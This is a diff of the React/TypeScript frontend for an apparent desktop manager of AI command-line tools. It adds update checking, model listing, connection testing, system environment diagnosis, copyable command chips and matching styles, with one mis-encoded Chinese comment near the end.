return invoke<ConnectionTestResult>("testConnection", { id });
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 用系统默认浏览器打开外链(Wave 3.1 Req 8)。 */
|
||||||
|
export async function openExternal(url: string): Promise<void> {
|
||||||
|
if (!isTauri()) {
|
||||||
|
window.open(url, "_blank", "noopener,noreferrer");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
return invoke<void>("openExternal", { url });
|
||||||
|
}
|
||||||
|
|
||||||
/** 软件内授权:启动指定模式的授权流程(事件经 cli-auth-event 流式回传)。 */
|
/** 软件内授权:启动指定模式的授权流程(事件经 cli-auth-event 流式回传)。 */
|
||||||
export async function authorize(id: string, mode: string): Promise<void> {
|
export async function authorize(id: string, mode: string): Promise<void> {
|
||||||
if (!isTauri()) return;
|
if (!isTauri()) return;
|
||||||
|
|||||||
@@ -234,6 +234,51 @@ export interface RuntimeInstallEvent {
|
|||||||
fallback?: boolean;
|
fallback?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---- Wave 3.1:可更新判定 / 模型列表 / 测试连通 / 系统环境诊断 ----
|
||||||
|
|
||||||
|
export interface UpdateCheckResult {
|
||||||
|
cli_id: string;
|
||||||
|
current: string | null;
|
||||||
|
latest: string | null;
|
||||||
|
update_available: boolean;
|
||||||
|
source_zh: string;
|
||||||
|
source_url: string;
|
||||||
|
error: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ModelInfo {
|
||||||
|
id: string;
|
||||||
|
label_zh: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ModelListResult {
|
||||||
|
cli_id: string;
|
||||||
|
models: ModelInfo[];
|
||||||
|
source: string;
|
||||||
|
detail_zh: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface ConnectionTestResult {
|
||||||
|
cli_id: string;
|
||||||
|
ok: boolean;
|
||||||
|
message_zh: string;
|
||||||
|
http_status: number | null;
|
||||||
|
detail: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface SystemEnvFinding {
|
||||||
|
runtime_id: string;
|
||||||
|
label_zh: string;
|
||||||
|
status: string;
|
||||||
|
version: string | null;
|
||||||
|
affected_cli: string[];
|
||||||
|
message_zh: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface SystemEnvReport {
|
||||||
|
findings: SystemEnvFinding[];
|
||||||
|
}
|
||||||
|
|
||||||
// ---- 适配器完整定义(getAdapter 返回,detail 页展示用) ----
|
// ---- 适配器完整定义(getAdapter 返回,detail 页展示用) ----
|
||||||
|
|
||||||
export interface AdapterChannel {
|
export interface AdapterChannel {
|
||||||
@@ -259,7 +304,7 @@ export interface Adapter {
|
|||||||
windows?: { architectures?: string[]; notes?: string | null } | null;
|
windows?: { architectures?: string[]; notes?: string | null } | null;
|
||||||
linux?: { distributions?: string[]; architectures?: string[]; min_ubuntu?: string | null } | null;
|
linux?: { distributions?: string[]; architectures?: string[]; min_ubuntu?: string | null } | null;
|
||||||
} | null;
|
} | null;
|
||||||
official?: { homepage?: string | null; docs?: string | null; allowed_hosts?: string[] } | null;
|
official?: { homepage?: string | null; docs?: string | null; icon?: string | null; allowed_hosts?: string[] } | null;
|
||||||
runtime_deps?: { id: string; semver_range?: string | null; required_for?: string[] }[];
|
runtime_deps?: { id: string; semver_range?: string | null; required_for?: string[] }[];
|
||||||
install?: { preferred?: string | null; channels: AdapterChannel[] } | null;
|
install?: { preferred?: string | null; channels: AdapterChannel[] } | null;
|
||||||
detect?: {
|
detect?: {
|
||||||
@@ -269,7 +314,7 @@ export interface Adapter {
|
|||||||
version_unconfirmed?: boolean | null;
|
version_unconfirmed?: boolean | null;
|
||||||
path_hints?: string[];
|
path_hints?: string[];
|
||||||
} | null;
|
} | null;
|
||||||
update?: { method?: string | null; command?: string[] } | null;
|
update?: { method?: string | null; command?: string[]; source?: { kind: string; package?: string | null; repo?: string | null } | null } | null;
|
||||||
uninstall?: { method?: string | null; command?: string[]; keep_config_default?: boolean } | null;
|
uninstall?: { method?: string | null; command?: string[]; keep_config_default?: boolean } | null;
|
||||||
authorization?: {
|
authorization?: {
|
||||||
modes: {
|
modes: {
|
||||||
@@ -279,6 +324,12 @@ export interface Adapter {
|
|||||||
status_command?: string[];
|
status_command?: string[];
|
||||||
notes_zh?: string | null;
|
notes_zh?: string | null;
|
||||||
}[];
|
}[];
|
||||||
|
credential_files?: string[];
|
||||||
|
test?: { url: string; key_header?: string | null; bearer?: boolean; extra_headers?: string[] } | null;
|
||||||
|
} | null;
|
||||||
|
models?: {
|
||||||
|
command?: string[];
|
||||||
|
list?: { id: string; label_zh?: string | null }[];
|
||||||
} | null;
|
} | null;
|
||||||
configuration?: {
|
configuration?: {
|
||||||
files: { path: string; format: string; scope?: string | null }[];
|
files: { path: string; format: string; scope?: string | null }[];
|
||||||
|
|||||||
@@ -1,7 +1,9 @@
|
|||||||
import { useMemo, useState } from "react";
|
import { useEffect, useMemo, useState } from "react";
|
||||||
import { Search } from "lucide-react";
|
import { Search } from "lucide-react";
|
||||||
import { useCatalog } from "../hooks/useCatalog";
|
import { useCatalog } from "../hooks/useCatalog";
|
||||||
import { useDetectAll } from "../hooks/useDetectAll";
|
import { useDetectAll } from "../hooks/useDetectAll";
|
||||||
|
import { checkUpdate } from "../ipc";
|
||||||
|
import type { UpdateCheckResult } from "../ipc/types";
|
||||||
import { StatusBadge } from "../components/StatusBadge";
|
import { StatusBadge } from "../components/StatusBadge";
|
||||||
import { CliMonogram } from "../components/CliMonogram";
|
import { CliMonogram } from "../components/CliMonogram";
|
||||||
import { MonoChip } from "../components/MonoChip";
|
import { MonoChip } from "../components/MonoChip";
|
||||||
@@ -22,13 +24,46 @@ const PLATFORM_FILTERS: { key: PlatformFilter; label: string }[] = [
|
|||||||
{ key: "linux", label: "Linux" },
|
{ key: "linux", label: "Linux" },
|
||||||
];
|
];
|
||||||
|
|
||||||
/** CLI 目录页(视觉规范 §3.2 + PRD §7):搜索 + 筛选 + 14 张卡片(数据来自 catalog.yaml + 真机 detect) */
|
/** CLI 目录页(视觉规范 §3.2 + PRD §7):搜索 + 筛选 + 14 张卡片(数据来自 catalog.yaml + 真机 detect + 官方源可更新判定) */
|
||||||
export function CatalogPage({ onOpenDetail }: { onOpenDetail: (id: string) => void }) {
|
export function CatalogPage({ onOpenDetail }: { onOpenDetail: (id: string) => void }) {
|
||||||
const { entries, loading, error } = useCatalog();
|
const { entries, loading, error } = useCatalog();
|
||||||
const { detectMap, loading: detecting } = useDetectAll();
|
const { detectMap, loading: detecting } = useDetectAll();
|
||||||
const [query, setQuery] = useState("");
|
const [query, setQuery] = useState("");
|
||||||
const [status, setStatus] = useState<StatusFilter>("all");
|
const [status, setStatus] = useState<StatusFilter>("all");
|
||||||
const [platform, setPlatform] = useState<PlatformFilter>("all");
|
const [platform, setPlatform] = useState<PlatformFilter>("all");
|
||||||
|
const [updates, setUpdates] = useState<Record<string, UpdateCheckResult>>({});
|
||||||
|
const [checkingUpdates, setCheckingUpdates] = useState(false);
|
||||||
|
|
||||||
|
// 「可更新」筛选:仅当用户点选时才对已装工具查询官方源最新版本(Wave 3.1 Req 4)
|
||||||
|
useEffect(() => {
|
||||||
|
if (status !== "update" || checkingUpdates) return;
|
||||||
|
let cancelled = false;
|
||||||
|
setCheckingUpdates(true);
|
||||||
|
const installedIds = entries.filter((e) => detectMap[e.id]?.status === "installed").map((e) => e.id);
|
||||||
|
Promise.all(
|
||||||
|
installedIds.map(async (id) => {
|
||||||
|
try {
|
||||||
|
return await checkUpdate(id);
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
)
|
||||||
|
.then((results) => {
|
||||||
|
if (cancelled) return;
|
||||||
|
const m: Record<string, UpdateCheckResult> = {};
|
||||||
|
results.forEach((r, i) => {
|
||||||
|
if (r) m[installedIds[i]] = r;
|
||||||
|
});
|
||||||
|
setUpdates(m);
|
||||||
|
})
|
||||||
|
.finally(() => {
|
||||||
|
if (!cancelled) setCheckingUpdates(false);
|
||||||
|
});
|
||||||
|
return () => {
|
||||||
|
cancelled = true;
|
||||||
|
};
|
||||||
|
}, [status, entries, detectMap, checkingUpdates]);
|
||||||
|
|
||||||
const filtered = useMemo(() => {
|
const filtered = useMemo(() => {
|
||||||
const q = query.trim().toLowerCase();
|
const q = query.trim().toLowerCase();
|
||||||
@@ -41,13 +76,13 @@ export function CatalogPage({ onOpenDetail }: { onOpenDetail: (id: string) => vo
|
|||||||
// 状态筛选:接真机 detect 结果
|
// 状态筛选:接真机 detect 结果
|
||||||
if (status === "installed" && !installed) return false;
|
if (status === "installed" && !installed) return false;
|
||||||
if (status === "uninstalled" && installed) return false;
|
if (status === "uninstalled" && installed) return false;
|
||||||
// 可更新:Wave 2.1 不检测可更新,恒为空(诚实)
|
// 可更新:官方源最新版本 vs 本地已装版本(真实数据,Wave 3.1 Req 4)
|
||||||
if (status === "update") return false;
|
if (status === "update") return updates[e.id]?.update_available === true;
|
||||||
// 平台:全部 14 个均支持 Windows + Ubuntu(调研底稿结论),筛选不改变集合
|
// 平台:全部 14 个均支持 Windows + Ubuntu(调研底稿结论),筛选不改变集合
|
||||||
if (platform === "windows" || platform === "linux") return true;
|
if (platform === "windows" || platform === "linux") return true;
|
||||||
return true;
|
return true;
|
||||||
});
|
});
|
||||||
}, [entries, query, status, platform, detectMap]);
|
}, [entries, query, status, platform, detectMap, updates]);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="catalog">
|
<div className="catalog">
|
||||||
@@ -128,11 +163,18 @@ export function CatalogPage({ onOpenDetail }: { onOpenDetail: (id: string) => vo
|
|||||||
)}
|
)}
|
||||||
<span className="catalog-platforms">Windows · Linux</span>
|
<span className="catalog-platforms">Windows · Linux</span>
|
||||||
</div>
|
</div>
|
||||||
|
{updates[entry.id]?.update_available && (
|
||||||
|
<div className="catalog-update">
|
||||||
|
可更新 {updates[entry.id].latest}(依据 {updates[entry.id].source_zh})
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</article>
|
</article>
|
||||||
);
|
);
|
||||||
})}
|
})}
|
||||||
{!loading && filtered.length === 0 && (
|
{!loading && filtered.length === 0 && (
|
||||||
<p className="panel-empty catalog-empty">没有符合条件的 CLI</p>
|
<p className="panel-empty catalog-empty">
|
||||||
|
{status === "update" && checkingUpdates ? "正在查询官方源最新版本…" : "没有符合条件的 CLI"}
|
||||||
|
</p>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -6,13 +6,14 @@ import {
|
|||||||
ChevronDown,
|
ChevronDown,
|
||||||
CircleHelp,
|
CircleHelp,
|
||||||
ClipboardList,
|
ClipboardList,
|
||||||
|
Copy,
|
||||||
Loader2,
|
Loader2,
|
||||||
ShieldAlert,
|
ShieldAlert,
|
||||||
Terminal,
|
Terminal,
|
||||||
Trash2,
|
Trash2,
|
||||||
} from "lucide-react";
|
} from "lucide-react";
|
||||||
import { useCliDetail } from "../hooks/useCliDetail";
|
import { useCliDetail } from "../hooks/useCliDetail";
|
||||||
import { diagnose, onCliAction, previewAction, runAction } from "../ipc";
|
import { diagnose, onCliAction, openExternal, previewAction, runAction } from "../ipc";
|
||||||
import type {
|
import type {
|
||||||
ActionEvent,
|
ActionEvent,
|
||||||
Adapter,
|
Adapter,
|
||||||
@@ -249,7 +250,7 @@ export function CliDetailPage({
|
|||||||
|
|
||||||
<section className="cli-detail-body">
|
<section className="cli-detail-body">
|
||||||
{tab === "overview" && <OverviewTab adapter={adapter} detect={detect} auth={auth} />}
|
{tab === "overview" && <OverviewTab adapter={adapter} detect={detect} auth={auth} />}
|
||||||
{tab === "config" && <ConfigForm id={id} onAuthChanged={refresh} />}
|
{tab === "config" && <ConfigForm id={id} onAuthChanged={refresh} canTestConnection={adapter.authorization?.test != null} />}
|
||||||
{tab === "docs" && <DocsTab adapter={adapter} />}
|
{tab === "docs" && <DocsTab adapter={adapter} />}
|
||||||
{tab === "diag" && <DiagTab id={id} />}
|
{tab === "diag" && <DiagTab id={id} />}
|
||||||
</section>
|
</section>
|
||||||
@@ -552,12 +553,20 @@ function OverviewTab({
|
|||||||
<h3 className="detail-block-title">官方链接</h3>
|
<h3 className="detail-block-title">官方链接</h3>
|
||||||
<div className="detail-links">
|
<div className="detail-links">
|
||||||
{adapter.official?.homepage && (
|
{adapter.official?.homepage && (
|
||||||
<a className="detail-link" href={adapter.official.homepage} target="_blank" rel="noreferrer">
|
<a
|
||||||
|
className="detail-link"
|
||||||
|
href={adapter.official.homepage}
|
||||||
|
onClick={(e) => { e.preventDefault(); void openExternal(adapter.official!.homepage!); }}
|
||||||
|
>
|
||||||
官方主页
|
官方主页
|
||||||
</a>
|
</a>
|
||||||
)}
|
)}
|
||||||
{adapter.official?.docs && (
|
{adapter.official?.docs && (
|
||||||
<a className="detail-link" href={adapter.official.docs} target="_blank" rel="noreferrer">
|
<a
|
||||||
|
className="detail-link"
|
||||||
|
href={adapter.official.docs}
|
||||||
|
onClick={(e) => { e.preventDefault(); void openExternal(adapter.official!.docs!); }}
|
||||||
|
>
|
||||||
官方文档
|
官方文档
|
||||||
</a>
|
</a>
|
||||||
)}
|
)}
|
||||||
@@ -589,6 +598,37 @@ function authModeLabel(mode: string): string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** 可复制命令块(Wave 3.1 Req 9):hover 高亮 + 点击复制 + 复制成功轻提示 */
|
||||||
|
function CopyableCommand({ text }: { text: string }) {
|
||||||
|
const [copied, setCopied] = useState(false);
|
||||||
|
async function copy() {
|
||||||
|
try {
|
||||||
|
await navigator.clipboard.writeText(text);
|
||||||
|
} catch {
|
||||||
|
const ta = document.createElement("textarea");
|
||||||
|
ta.value = text;
|
||||||
|
document.body.appendChild(ta);
|
||||||
|
ta.select();
|
||||||
|
document.execCommand("copy");
|
||||||
|
document.body.removeChild(ta);
|
||||||
|
}
|
||||||
|
setCopied(true);
|
||||||
|
window.setTimeout(() => setCopied(false), 1500);
|
||||||
|
}
|
||||||
|
return (
|
||||||
|
<button type="button" className="command-copy" onClick={copy} title="点击复制命令" aria-label={`复制命令 ${text}`}>
|
||||||
|
<MonoChip>{text}</MonoChip>
|
||||||
|
{copied ? (
|
||||||
|
<span className="command-copied">
|
||||||
|
<Check size={12} strokeWidth={1.5} aria-hidden="true" /> 已复制
|
||||||
|
</span>
|
||||||
|
) : (
|
||||||
|
<Copy size={12} strokeWidth={1.5} aria-hidden="true" />
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
function DocsTab({ adapter }: { adapter: Adapter }) {
|
function DocsTab({ adapter }: { adapter: Adapter }) {
|
||||||
const doc = adapter.documentation;
|
const doc = adapter.documentation;
|
||||||
const docUrl = adapter.official?.docs;
|
const docUrl = adapter.official?.docs;
|
||||||
@@ -622,7 +662,7 @@ function DocsTab({ adapter }: { adapter: Adapter }) {
|
|||||||
<ul className="detail-commands">
|
<ul className="detail-commands">
|
||||||
{doc!.commands!.map((c) => (
|
{doc!.commands!.map((c) => (
|
||||||
<li key={c.cmd} className="detail-command">
|
<li key={c.cmd} className="detail-command">
|
||||||
<MonoChip>{c.cmd}</MonoChip>
|
<CopyableCommand text={c.cmd} />
|
||||||
{c.desc_zh && <span className="detail-command-desc">{c.desc_zh}</span>}
|
{c.desc_zh && <span className="detail-command-desc">{c.desc_zh}</span>}
|
||||||
</li>
|
</li>
|
||||||
))}
|
))}
|
||||||
@@ -635,7 +675,7 @@ function DocsTab({ adapter }: { adapter: Adapter }) {
|
|||||||
<ul className="detail-commands">
|
<ul className="detail-commands">
|
||||||
{doc!.params!.map((p) => (
|
{doc!.params!.map((p) => (
|
||||||
<li key={p.param} className="detail-command">
|
<li key={p.param} className="detail-command">
|
||||||
<MonoChip>{p.param}</MonoChip>
|
<CopyableCommand text={p.param} />
|
||||||
{p.desc_zh && <span className="detail-command-desc">{p.desc_zh}</span>}
|
{p.desc_zh && <span className="detail-command-desc">{p.desc_zh}</span>}
|
||||||
</li>
|
</li>
|
||||||
))}
|
))}
|
||||||
@@ -654,7 +694,11 @@ function DocsTab({ adapter }: { adapter: Adapter }) {
|
|||||||
)}
|
)}
|
||||||
<div className="detail-block detail-doc-footer">
|
<div className="detail-block detail-doc-footer">
|
||||||
{docUrl && (
|
{docUrl && (
|
||||||
<a className="detail-link" href={docUrl} target="_blank" rel="noreferrer">
|
<a
|
||||||
|
className="detail-link"
|
||||||
|
href={docUrl}
|
||||||
|
onClick={(e) => { e.preventDefault(); void openExternal(docUrl); }}
|
||||||
|
>
|
||||||
官方文档原文
|
官方文档原文
|
||||||
</a>
|
</a>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
import { useEffect, useState } from "react";
|
import { useEffect, useState } from "react";
|
||||||
import { Activity, Archive, Download, Loader2, Lock, Plus, ScanSearch } from "lucide-react";
|
import { Activity, Archive, Cpu, Download, Loader2, Lock, Plus, ScanSearch } from "lucide-react";
|
||||||
import { useEnv } from "../hooks/useEnv";
|
import { useEnv } from "../hooks/useEnv";
|
||||||
import { useCatalog } from "../hooks/useCatalog";
|
import { useCatalog } from "../hooks/useCatalog";
|
||||||
import { useDetectAll } from "../hooks/useDetectAll";
|
import { useDetectAll } from "../hooks/useDetectAll";
|
||||||
import { diagnoseAll } from "../ipc";
|
import { diagnoseAll, diagnoseSystem } from "../ipc";
|
||||||
import type {
|
import type {
|
||||||
CatalogEntry,
|
CatalogEntry,
|
||||||
DetectResult,
|
DetectResult,
|
||||||
@@ -11,6 +11,7 @@ import type {
|
|||||||
PlatformEnv,
|
PlatformEnv,
|
||||||
RuntimeInfo,
|
RuntimeInfo,
|
||||||
RuntimeStatus,
|
RuntimeStatus,
|
||||||
|
SystemEnvReport,
|
||||||
} from "../ipc/types";
|
} from "../ipc/types";
|
||||||
import { KpiCard } from "../components/KpiCard";
|
import { KpiCard } from "../components/KpiCard";
|
||||||
import { MonoChip } from "../components/MonoChip";
|
import { MonoChip } from "../components/MonoChip";
|
||||||
@@ -82,8 +83,8 @@ function RuntimeItem({
|
|||||||
<span className="runtime-missing">{meta.missingText}</span>
|
<span className="runtime-missing">{meta.missingText}</span>
|
||||||
)}
|
)}
|
||||||
{meta.needsInstall && (
|
{meta.needsInstall && (
|
||||||
<button type="button" className="link-btn runtime-action" onClick={() => onInstall(name)}>
|
<button type="button" className="btn btn-secondary btn-sm runtime-action" onClick={() => onInstall(name)}>
|
||||||
<Download size={12} strokeWidth={1.5} aria-hidden="true" /> 安装
|
<Download size={13} strokeWidth={1.5} aria-hidden="true" /> 安装
|
||||||
</button>
|
</button>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
@@ -92,8 +93,10 @@ function RuntimeItem({
|
|||||||
|
|
||||||
function EnvPanel({
|
function EnvPanel({
|
||||||
onInstallRuntime,
|
onInstallRuntime,
|
||||||
|
onSystemDiagnose,
|
||||||
}: {
|
}: {
|
||||||
onInstallRuntime: (runtime: string) => void;
|
onInstallRuntime: (runtime: string) => void;
|
||||||
|
onSystemDiagnose: () => void;
|
||||||
}) {
|
}) {
|
||||||
const { env, loading } = useEnv();
|
const { env, loading } = useEnv();
|
||||||
const [showAllPath, setShowAllPath] = useState(false);
|
const [showAllPath, setShowAllPath] = useState(false);
|
||||||
@@ -132,6 +135,9 @@ function EnvPanel({
|
|||||||
<div className="panel-head">
|
<div className="panel-head">
|
||||||
<h2 className="panel-title">本机环境</h2>
|
<h2 className="panel-title">本机环境</h2>
|
||||||
{loading && <span className="panel-hint">刷新中…</span>}
|
{loading && <span className="panel-hint">刷新中…</span>}
|
||||||
|
<button type="button" className="btn btn-secondary btn-sm env-diag-btn" onClick={onSystemDiagnose}>
|
||||||
|
<Cpu size={13} strokeWidth={1.5} aria-hidden="true" /> 系统环境诊断
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
<div className="env-grid">
|
<div className="env-grid">
|
||||||
<div className="env-basic">
|
<div className="env-basic">
|
||||||
@@ -408,6 +414,9 @@ export function OverviewPage({ onNavigate, onOpenDetail, pendingRuntime, onRunti
|
|||||||
const [diagOpen, setDiagOpen] = useState(false);
|
const [diagOpen, setDiagOpen] = useState(false);
|
||||||
const [diagReports, setDiagReports] = useState<DiagnosticReport[] | null>(null);
|
const [diagReports, setDiagReports] = useState<DiagnosticReport[] | null>(null);
|
||||||
const [diagBusy, setDiagBusy] = useState(false);
|
const [diagBusy, setDiagBusy] = useState(false);
|
||||||
|
const [sysDiagOpen, setSysDiagOpen] = useState(false);
|
||||||
|
const [sysDiag, setSysDiag] = useState<SystemEnvReport | null>(null);
|
||||||
|
const [sysDiagBusy, setSysDiagBusy] = useState(false);
|
||||||
|
|
||||||
// 外部跳转(详情页错误内联按钮「去安装 Node.js」)
|
// 外部跳转(详情页错误内联按钮「去安装 Node.js」)
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -431,6 +440,21 @@ export function OverviewPage({ onNavigate, onOpenDetail, pendingRuntime, onRunti
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function runSystemDiagnose() {
|
||||||
|
setSysDiagOpen(true);
|
||||||
|
setSysDiagBusy(true);
|
||||||
|
setSysDiag(null);
|
||||||
|
try {
|
||||||
|
const report = await diagnoseSystem();
|
||||||
|
setSysDiag(report);
|
||||||
|
} catch (e) {
|
||||||
|
setSysDiag({ findings: [] });
|
||||||
|
void e;
|
||||||
|
} finally {
|
||||||
|
setSysDiagBusy(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const installedCount = entries.filter((e) => detectMap[e.id]?.status === "installed").length;
|
const installedCount = entries.filter((e) => detectMap[e.id]?.status === "installed").length;
|
||||||
// 检测未完成(首次、无缓存)时不得判空态
|
// 检测未完成(首次、无缓存)时不得判空态
|
||||||
const ready = !detecting && !catalogLoading;
|
const ready = !detecting && !catalogLoading;
|
||||||
@@ -495,7 +519,7 @@ export function OverviewPage({ onNavigate, onOpenDetail, pendingRuntime, onRunti
|
|||||||
)}
|
)}
|
||||||
|
|
||||||
{/* ④ 本机环境(真实检测结果,架构 §5;超宽断点上提为第三栏) */}
|
{/* ④ 本机环境(真实检测结果,架构 §5;超宽断点上提为第三栏) */}
|
||||||
<EnvPanel onInstallRuntime={setRuntimeInstall} />
|
<EnvPanel onInstallRuntime={setRuntimeInstall} onSystemDiagnose={runSystemDiagnose} />
|
||||||
|
|
||||||
{/* 运行时一键安装弹窗 */}
|
{/* 运行时一键安装弹窗 */}
|
||||||
{runtimeInstall && (
|
{runtimeInstall && (
|
||||||
@@ -508,6 +532,13 @@ export function OverviewPage({ onNavigate, onOpenDetail, pendingRuntime, onRunti
|
|||||||
<DiagSummary busy={diagBusy} reports={diagReports} />
|
<DiagSummary busy={diagBusy} reports={diagReports} />
|
||||||
</Modal>
|
</Modal>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{/* 系统环境诊断弹窗(Wave 3.1 Req 7) */}
|
||||||
|
{sysDiagOpen && (
|
||||||
|
<Modal title="系统环境诊断" onClose={() => setSysDiagOpen(false)}>
|
||||||
|
<SystemDiagSummary busy={sysDiagBusy} report={sysDiag} onInstall={setRuntimeInstall} />
|
||||||
|
</Modal>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
@@ -559,3 +590,72 @@ function DiagSummary({ busy, reports }: { busy: boolean; reports: DiagnosticRepo
|
|||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** 系统环境诊断(Wave 3.1 Req 7):每项标注影响哪些 CLI,缺失项带一键安装 */
|
||||||
|
function SystemDiagSummary({
|
||||||
|
busy,
|
||||||
|
report,
|
||||||
|
onInstall,
|
||||||
|
}: {
|
||||||
|
busy: boolean;
|
||||||
|
report: SystemEnvReport | null;
|
||||||
|
onInstall: (runtime: string) => void;
|
||||||
|
}) {
|
||||||
|
if (busy) {
|
||||||
|
return (
|
||||||
|
<p className="panel-empty">
|
||||||
|
<Loader2 size={14} strokeWidth={1.5} className="spin" aria-hidden="true" /> 正在检查系统环境依赖…
|
||||||
|
</p>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (!report) return null;
|
||||||
|
const problems = report.findings.filter((f) => f.status !== "installed");
|
||||||
|
const allOk = problems.length === 0;
|
||||||
|
return (
|
||||||
|
<div className="sys-diag">
|
||||||
|
<div className="diag-summary">
|
||||||
|
{allOk ? (
|
||||||
|
<>
|
||||||
|
<span className="status-dot ok" aria-hidden="true" />
|
||||||
|
<span>系统环境依赖完整,无缺失</span>
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<span className="status-dot warn" aria-hidden="true" />
|
||||||
|
<span>发现 {problems.length} 项环境依赖缺失或版本过低</span>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
{report.findings.map((f) => {
|
||||||
|
const missing = f.status !== "installed";
|
||||||
|
return (
|
||||||
|
<div key={f.runtime_id} className="sys-diag-item">
|
||||||
|
<span className={`status-dot ${missing ? "warn" : "ok"}`} aria-hidden="true" />
|
||||||
|
<div className="sys-diag-main">
|
||||||
|
<div className="sys-diag-head">
|
||||||
|
<span className="sys-diag-name">{f.label_zh}</span>
|
||||||
|
{f.version && <MonoChip>{f.version}</MonoChip>}
|
||||||
|
<span className={`sys-diag-status ${missing ? "warn" : ""}`}>
|
||||||
|
{missing ? "缺失 / 需更新" : "正常"}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<p className="sys-diag-msg">{f.message_zh}</p>
|
||||||
|
{f.affected_cli.length > 0 && (
|
||||||
|
<p className="sys-diag-affected">影响:{f.affected_cli.join(" · ")}</p>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
{missing && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-secondary btn-sm"
|
||||||
|
onClick={() => onInstall(f.runtime_id)}
|
||||||
|
>
|
||||||
|
<Download size={13} strokeWidth={1.5} aria-hidden="true" /> 安装
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|||||||
@@ -288,6 +288,14 @@ button {
|
|||||||
cursor: not-allowed;
|
cursor: not-allowed;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* 紧凑尺寸(本机环境内联「安装」等) */
|
||||||
|
.btn-sm {
|
||||||
|
height: 26px;
|
||||||
|
min-width: 0;
|
||||||
|
padding: 0 var(--ad-space-3);
|
||||||
|
font-size: var(--ad-text-s-size);
|
||||||
|
}
|
||||||
|
|
||||||
/* 主按钮(§2.6 v1.2:内渐变 + 内高光 + 常驻弱辉光,hover 双层扩散辉光) */
|
/* 主按钮(§2.6 v1.2:内渐变 + 内高光 + 常驻弱辉光,hover 双层扩散辉光) */
|
||||||
.btn-primary {
|
.btn-primary {
|
||||||
background: var(--ad-btn-primary-bg);
|
background: var(--ad-btn-primary-bg);
|
||||||
@@ -1412,6 +1420,7 @@ button {
|
|||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
gap: var(--ad-space-3);
|
gap: var(--ad-space-3);
|
||||||
|
flex-wrap: wrap;
|
||||||
}
|
}
|
||||||
|
|
||||||
.detail-command-desc {
|
.detail-command-desc {
|
||||||
@@ -1419,6 +1428,38 @@ button {
|
|||||||
font-size: var(--ad-text-s-size);
|
font-size: var(--ad-text-s-size);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* 可复制命令块(Wave 3.1 Req 9):hover 高亮 + 点击复制 */
|
||||||
|
.command-copy {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: var(--ad-space-2);
|
||||||
|
background: transparent;
|
||||||
|
border: none;
|
||||||
|
padding: 0;
|
||||||
|
cursor: pointer;
|
||||||
|
color: var(--ad-text-2);
|
||||||
|
border-radius: var(--ad-radius-s);
|
||||||
|
transition: color 120ms ease, background 120ms ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.command-copy:hover {
|
||||||
|
color: var(--ad-primary);
|
||||||
|
background: var(--ad-bg-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.command-copy:hover .mono-chip {
|
||||||
|
border-color: var(--ad-primary);
|
||||||
|
color: var(--ad-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.command-copied {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 3px;
|
||||||
|
font-size: var(--ad-text-xs-size);
|
||||||
|
color: var(--ad-success);
|
||||||
|
}
|
||||||
|
|
||||||
/* ---------- 诊断结果(§3.5) ---------- */
|
/* ---------- 诊断结果(§3.5) ---------- */
|
||||||
.diag-summary {
|
.diag-summary {
|
||||||
display: flex;
|
display: flex;
|
||||||
@@ -2208,11 +2249,11 @@ button {
|
|||||||
|
|
||||||
|
|
||||||
/* ============================================================
|
/* ============================================================
|
||||||
* Wave 2.2£ºÊµÊ±Êä³ö / Èí¼þÄÚÊÚȨ / ÒÀÀµÒ»¼ü×° / ¼ÓÔØ¹Ç¼Ü
|
* Wave 2.2��ʵʱ��� / ��������Ȩ / ����һ��װ / ���عǼ�
|
||||||
* È«²¿ÑÕÉ«À´×Ô tokens/
|
* ȫ����ɫ���� tokens/
|
||||||
* ============================================================ */
|
* ============================================================ */
|
||||||
|
|
||||||
